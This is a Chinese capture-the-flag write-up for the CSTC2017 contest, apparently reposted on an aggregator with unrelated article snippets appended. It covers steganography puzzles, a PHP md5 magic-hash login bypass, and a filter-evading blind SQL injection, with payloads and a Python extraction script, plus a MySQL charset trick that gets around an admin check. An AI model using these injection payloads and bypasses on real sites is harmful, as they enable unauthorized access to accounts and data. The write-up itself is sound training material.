陕西省网络空间安全技术大赛部分题目writeup

2023-10-19 04:10

本文主要是介绍陕西省网络空间安全技术大赛部分题目writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

签到-欢迎来到CSTC2017

10

 

欢迎来到CSTC2017

 

ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

 

 

Base64解密:flag{WeiSuoFyu_BieLang}

 

 

 

种棵树吧

200

 

图片里有一棵树,树上结满胜利的果实!

 

下载后解压 有两张图

先看2222.jpg 右键属性详细信息

得到:Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

 

再看1111.jpg,Stegsolve查看

看到图片结束后有压缩包 ,改后缀解压

得到1.gif,但图片打不开,记事本打开,发现头文件缺少GIF8  加上去就可以打开了。

然后将GIF图的字母提权出来。

得到In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

 

所以我们得到了

In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

百度得知是二叉树的中序遍历和后序遍历。

 

已知一棵二叉树的后序序列和中序序列,构造该二叉树的过程如下:
1.根据后序序列的最后一个元素建立根结点; 
2.在中序序列中找到该元素,确定根结点的左右子树的中序序列; 
3.在后序序列中确定左右子树的后序序列; 
4.由左子树的后序序列和中序序列建立左子树; 
5.由右子树的后序序列和中序序列建立右子树.

 

所以画出该二叉树

一行行读: *hI!HEReIsYourFLAG:flag{n52V-jpU6d_kx8zw}

 

签到题

50

 

比赛开始啦~一盘小菜送上~

注意flag格式是需要加上flag{}的。

http://117.34.111.15:84/

 

 

右键源代码:

Username 要字母 ,password要数字。但它们md5的值要一样。

所以想到了php md5 0e的缺陷:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0

 

找到了md5('240610708') == md5('QNKCDZO')

所以 Username =QNKCDZO  password =240610708

右键源代码:

传入的messagejson格式的,出来的key==$key

但我们不知道$key的值。想到了php松散比较。

 

字符串 == TRUE  为TRUE 

抽抽奖
75

抽奖呗
http://117.34.111.15/

 

访问后抓包查看

把jsfuck代码复制出来,解密得到:

 

 

 

so easy!

125

 

http://117.34.111.15:89/

观察源代码:

<?php include("config.php");$conn ->query("set names utf8");function randStr($lenth=32){$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";$str = "";while($lenth>0){$str.=substr($strBase,rand(0,strlen($strBase)-1),1);$lenth --;}return $str;
}if($install){$sql = "create table `user` (`id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,`username` varchar(30) NOT NULL,`passwd` varchar(32) NOT NULL,`role` varchar(30) NOT NULL)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";if($conn->query($sql)){$sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";$conn -> query($sql);}
}function filter($str){$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){die("you can't input this illegal char!");}return $str; }function show($username){global $conn;$sql = "select role from `user` where username ='".$username."'";$res = $conn ->query($sql);if($res->num_rows>0){echo "$username is ".$res->fetch_assoc()['role'];}else{die("Don't have this user!");}
}function login($username,$passwd){global $conn;global $flag;$username = trim(strtolower($username));$passwd = trim(strtolower($passwd));if($username == 'admin'){die("you can't login this as admin!");}$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";$res = $conn ->query($sql);if($res->num_rows>0){if($res->fetch_assoc()['role'] === 'admin') exit($flag);}else{echo "sorry,username or passwd error!";  }}function source(){highlight_file(__FILE__);
}$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";$action = isset($_GET['action'])?filter($_GET['action']):"source";switch($action){case "source": source(); break ;case "login" : login($username,$passwd);break;case "show" : show($username);break;
}

  

可看到filter()函数

过滤了这么多...

‘  select  from  where ( ) = 都能使用。

所以想到使用盲注

访问 http://117.34.111.15:89/?action=show

Post 数据为 admin'=(TRUE)='1 返回正确

 

所以构造语句

因为过滤了逗号,所以语句为

username=admin'=(substring((select(passwd)from(user))from(-1))='8')='1

最后一位为8

后两位为88

写脚本跑

#!usr/bin/env python
#!coding=utf-8__author__ = 'zhengjim'import requestsurl="http://117.34.111.15:89/?action=show"
ans=""
dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in xrange(33):for j in dic:data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))='{1}{2}')='1".format(str(i),str(j),str(ans))}content=requests.post(url,data=data).contentif len(content)>30:ans =j+ansprint ansbreak

  

跑得密码

 

然后在login出登入。

 

但传入username如果为admin ,就要退出。

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html p牛这篇文章里。

我们可以看到:

就是admin%c2 php中就不为admin,但在mysql查询的就是为admin,所以可以绕过

原因就是Mysql字段的字符集和php mysqli客户端设置的字符集不相同。Mysql在转换字符集的时候,将不完整的字符给忽略了。

只写了这么多。

 

转载于:https://www.cnblogs.com/zhengjim/p/6720064.html

这篇关于陕西省网络空间安全技术大赛部分题目writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/237205

相关文章

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

金融业开源技术 术语

金融业开源技术  术语 1  范围 本文件界定了金融业开源技术的常用术语。 本文件适用于金融业中涉及开源技术的相关标准及规范性文件制定和信息沟通等活动。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

题目1254:N皇后问题

题目1254:N皇后问题 时间限制:1 秒 内存限制:128 兆 特殊判题:否 题目描述: N皇后问题,即在N*N的方格棋盘内放置了N个皇后,使得它们不相互攻击(即任意2个皇后不允许处在同一排,同一列,也不允许处在同一斜线上。因为皇后可以直走,横走和斜走如下图)。 你的任务是,对于给定的N,求出有多少种合法的放置方法。输出N皇后问题所有不同的摆放情况个数。 输入

题目1380:lucky number

题目1380:lucky number 时间限制:3 秒 内存限制:3 兆 特殊判题:否 提交:2839 解决:300 题目描述: 每个人有自己的lucky number,小A也一样。不过他的lucky number定义不一样。他认为一个序列中某些数出现的次数为n的话,都是他的lucky number。但是,现在这个序列很大,他无法快速找到所有lucky number。既然

AI(文生语音)-TTS 技术线路探索学习:从拼接式参数化方法到Tacotron端到端输出

AI(文生语音)-TTS 技术线路探索学习:从拼接式参数化方法到Tacotron端到端输出 在数字化时代,文本到语音(Text-to-Speech, TTS)技术已成为人机交互的关键桥梁,无论是为视障人士提供辅助阅读,还是为智能助手注入声音的灵魂,TTS 技术都扮演着至关重要的角色。从最初的拼接式方法到参数化技术,再到现今的深度学习解决方案,TTS 技术经历了一段长足的进步。这篇文章将带您穿越时

系统架构设计师: 信息安全技术

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师: 信息安全技术前言信息安全的基本要素:信息安全的范围:安全措施的目标:访问控制技术要素:访问控制包括:等保